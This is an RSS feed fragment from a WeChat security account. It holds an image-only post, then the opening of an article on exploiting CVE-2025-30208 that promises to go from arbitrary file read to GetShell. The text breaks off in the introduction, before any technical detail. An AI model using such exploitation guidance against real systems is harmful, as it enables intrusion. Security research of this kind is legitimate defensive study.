<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=da98c77a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4bZuWdemthFF4XhSw3o3AVjicbQgUXdaCldDtzAt2U6dicAuD7OicJA9icg%2F640%3Fwx_fmt%3Dgif"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4439ad7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c2eabbe8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrTicmamkzXxeekJCcx8K2Y6ib3l8ZJHXdh5fWbztZ83iagsYR2hPCQExVQg%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e52e95f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4RpMSFoWkbRqhVPMibATNgaibNEvvyI4ic2dPumq8LFpviaazib3jibmbgmBw%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=74f7f1cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4wqxgGrMRZPW7eKjpNvWibKTHmRTfn8cgHBnVlbECAMQ9S89NRlZMlibg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4439ad7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4439ad7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=3da581bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4RrfgRpryM2VLvtw89xktXTLiajsPOORkKOfFW17FKShKEt2GM3NhanQ%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4439ad7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=82df155d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4bJ5lxWjL3Ork0YrLI4x1EDVUm8WHASJ6cgzzW45XJd1mTFo49VE3Fg%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4439ad7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=f2fb1703&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4kicC0ZAyA28yJktrrFfEibNPkibAY2smaJg1QCgRO7Xkbo6tFJQIyhEHg%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4439ad7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=124d13bd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrT1CCeffOvmaGticwkAvFAKibv1ZMkc2YzcXY8iaMszvFKjic5AYtGve2KPw%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4439ad7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=a46b0b01&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrT4yx68NeNxwNqHYF9sb3ZmVmBBfCS28J9yxEtbMSjSibibl3yK0EYoDibg%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4439ad7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=203584f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrTceLVnxqkbLPBck5dLceZNHvePnVXtrMfNh0TFOM7z9dmjSS1JntE6Q%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4439ad7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=02368ea4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrTVbibXZzjpJl32yXicC32rhicpvl7H6rerQyghXqOY13L1urfSnnq8xdcw%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4439ad7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=d826d8a7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrTgLWhVaCCubunZhl5IGPvfmoYobNsclk9PhUC8C4sHeXhsyLVbJJG0Q%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4439ad7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=8e11b1dd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrT1Lx8Vibuo9w8Pp0cwA9cPmjyh8lKZySibaJELM2ytx9ZlVWbKRU5hQ5w%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4439ad7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=5b347ccf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrTibjDH365VAt9Z4XCore7BL374QatanBehJmDuTlbwHrC7eFgNBpQWJA%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4439ad7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=1a2c9230&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrTKlLuEADJeg88sxszFjcFVicLQYYl4gcIacydvvHcyp9nUibxexrlIMFQ%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4439ad7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=a18cc710&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrTDdfMhHRNibNicNuhIltjJYqWBIic8L9952GRGwCic39AFKLnoQGTmBUTfQ%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4439ad7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=d7a3fff9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrT1zibUsia1kHYb8Qs2ibOavjHFaR7KQDeecRmGjvgFpVxT7mqFbmHS8jdg%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4439ad7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=bb9ea984&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrTuWfKUeibhhDFG9ibWDZY4mxQCvkE1jUMvHgGnlBgNSUYvibFmWqraXPAA%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4439ad7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=8ba4433c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrT1tJPibrcgLSJWTfHDEaRacTh5mllN0a679WdtVia3wEev3EwgrKHcVBA%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4439ad7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=ffe1bb57&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrT3uB3iaicI6sXbLEI9skYFQkHo5CQ6K9ZY8VgCxg9BU0sbT2AmsMs0z1Q%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4439ad7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=8a8d4f62&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrT8iaLUhOBiaOrA0epn5BXOI7sCRcprSNRq5Ts97nQN9OIPKFiaRaicG3OyA%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4439ad7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e63ec23b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrTZ9bVMd8a9sZ6cHjCliaw44iavP5J1sic5NV1e2vPscAiaZywMh6xLekdzw%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4439ad7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4dfe8b4b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrTQ9AH3qE2LBg1Cic2jRkzouHGOic27V6UhGmmM1j1DToOzvBLf1Iy3www%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4439ad7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=9214ccf0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrTygWTblL8h6z7lbrT8Qxf6ZbVPrvia11WPG7hoevA01VeFhjLoajpibkA%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4439ad7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e64efe70&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrT37E9ur2KDwiaia10AJmRRHuoO94MyBHtNoML0dhb0CnHF6sNTTVccerw%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4439ad7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=91fdd8e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrT2zQmVca6Fc6u92kqublGe7ialZjXrxIEK80QWdMbQJFht0gGGh2GS3w%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4439ad7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e6d9eb48&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrTFR8nJC8CSn9Tu4pfr6NtxZXnMsK8wVpC1K79VaPgribtiad0Kn6DTnWQ%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4439ad7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=f2fb1703&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4kicC0ZAyA28yJktrrFfEibNPkibAY2smaJg1QCgRO7Xkbo6tFJQIyhEHg%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=74f7f1cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4wqxgGrMRZPW7eKjpNvWibKTHmRTfn8cgHBnVlbECAMQ9S89NRlZMlibg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4439ad7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=da98c77a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4bZuWdemthFF4XhSw3o3AVjicbQgUXdaCldDtzAt2U6dicAuD7OicJA9icg%2F640%3Fwx_fmt%3Dgif"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4439ad7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=9eaa1734&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrT8ACSeD4ia9CGID6jZOZiatw6Nc6RSBJmjMzLSwEUictBFBdHmwsm2wnyA%2F640%3Fwx_fmt%3Djpeg"/></p>



<p><a href="2247485700">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=4c9656a3&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4NTY0MDg1Mg%3D%3D%26mid%3D2247485700%26idx%3D1%26sn%3D35cf6cf595ed71b18d24b2bcd6b4b163">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 29 Jun 2025 21:29:00 +0800</pubDate>
    </item>
    <item>
      <title>从CVE-2025-30208看任意文件读取利用</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4NTY0MDg1Mg==&amp;mid=2247485667&amp;idx=1&amp;sn=d395cb01aed4ebde31e39e2563eb0423</link>
      <description>我们很多时候都轻视了任意文件读取漏洞，让我们一起从CVE-2025-30208深入看任意文件读取漏洞利用场景，从任意文件读取漏洞到GetShell！</description>
      <content:encoded><![CDATA[<p>
原创 <span>渊龙Sec安全团队</span> <span>2025-04-03 21:11</span> <span style="display: inline-block;">广东</span>
</p>

<p>我们很多时候都轻视了任意文件读取漏洞，让我们一起从CVE-2025-30208深入看任意文件读取漏洞利用场景，从任意文件读取漏洞到GetShell！</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=d2d81bf4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibf7ZmPBicA3J3DSBxTA4kbmrJlJ0yAC4Oy5dHVLlY7l1yavFibuV8INp8MIyqAxBickInrDUfrf2ic9lg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<blockquote style="box-sizing: border-box;margin: 1em 0px;padding: 15px 15px 15px 1rem;color: rgb(129, 145, 152);font-weight: 400;border-left: 6px solid rgb(220, 230, 240);font-size: 0.9em;line-height: inherit;display: block;background: rgb(242, 247, 251);overflow: auto;overflow-wrap: normal;word-break: normal;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><p style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">微信公众号：</span><strong style="box-sizing: border-box;margin: 0px;padding: 0px;font-weight: bold;color: inherit;font-size: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">渊龙Sec安全团队</span></strong><span leaf=""><br/></span><span leaf="">为国之安全而奋斗，为信息安全而发声！</span><span leaf=""><br/></span><span leaf="">如有问题或建议，请在公众号后台留言</span><span leaf=""><br/></span><strong style="box-sizing: border-box;margin: 0px;padding: 0px;font-weight: bold;color: inherit;font-size: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">如果你觉得本文对你有帮助，欢迎在文章底部赞赏我们</span></strong></p></blockquote><h3 style="box-sizing: border-box;margin: 1.5em 5px 2em 0px;padding: 8px 15px;font-weight: bold;font-size: 1.3em;color: rgb(255, 255, 255);line-height: inherit;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">0# 概述</span></span></h3><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">师傅们好久不见！最近不是特别忙，就研究研究最新的漏洞<img style="display:inline-block;width:20px;vertical-align:middle;background-size:cover;" class="rich_pages wxw-img" data-ratio="1" data-w="20" src="https://wechat2rss.xlab.app/img-proxy/?k=33b3d8da&amp;u=https%3A%2F%2Fres.wx.qq.com%2Ft%2Fwx_fed%2Fwe-emoji%2Fres%2Fassets%2Fnewemoji%2F2_04.png"/></span></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">刚好最近一大批漏洞都爆出来了，比如 </span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, 